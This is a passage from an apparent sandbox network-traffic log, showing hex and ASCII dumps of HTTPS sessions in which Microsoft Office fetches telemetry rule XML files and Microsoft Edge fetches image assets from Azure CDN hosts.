2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-21 21:04:56 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-21 21:04:57 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:56 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:57 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:57 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 6dd5ded1-501e-0078-0f57-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210457Z-r1d97b99577kk29chC1TEBemmg0000000azg000000009243 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:57 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:57 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:57 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:57 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 8d0ecd0b-301e-0020-617e-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210457Z-1777c6cb754ww792hC1TEBzqu40000000bh0000000007zmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:57 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:57 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:57 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a8ea751-101e-007a-417b-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210457Z-178bfbc474bw8bwphC1NYC38b400000001qg000000014t1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:57 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:57 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:58 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:58 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210458Z-1777c6cb754rz2pghC1TEBghen0000000bp00000000000ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:58 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:57 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:58 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:58 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210458Z-178bfbc474bh5zbqhC1NYCkdug00000001w000000000u2wm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:58 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:59 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:59 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f421f7ab-401e-0029-142f-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210459Z-178bfbc474bw8bwphC1NYC38b400000001vg00000000dbmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:59 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:00 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:59 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210459Z-174c587ffdf89smkhC1TEB697s00000000d0000000006zrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:05:00 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	49899	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:00 UTC	523	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:00 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 52cc44f8-101e-003c-1559-3cdcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210459Z-178bfbc474bh5zbqhC1NYCkdug00000001xg00000000kdtv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:05:00 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	49902	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
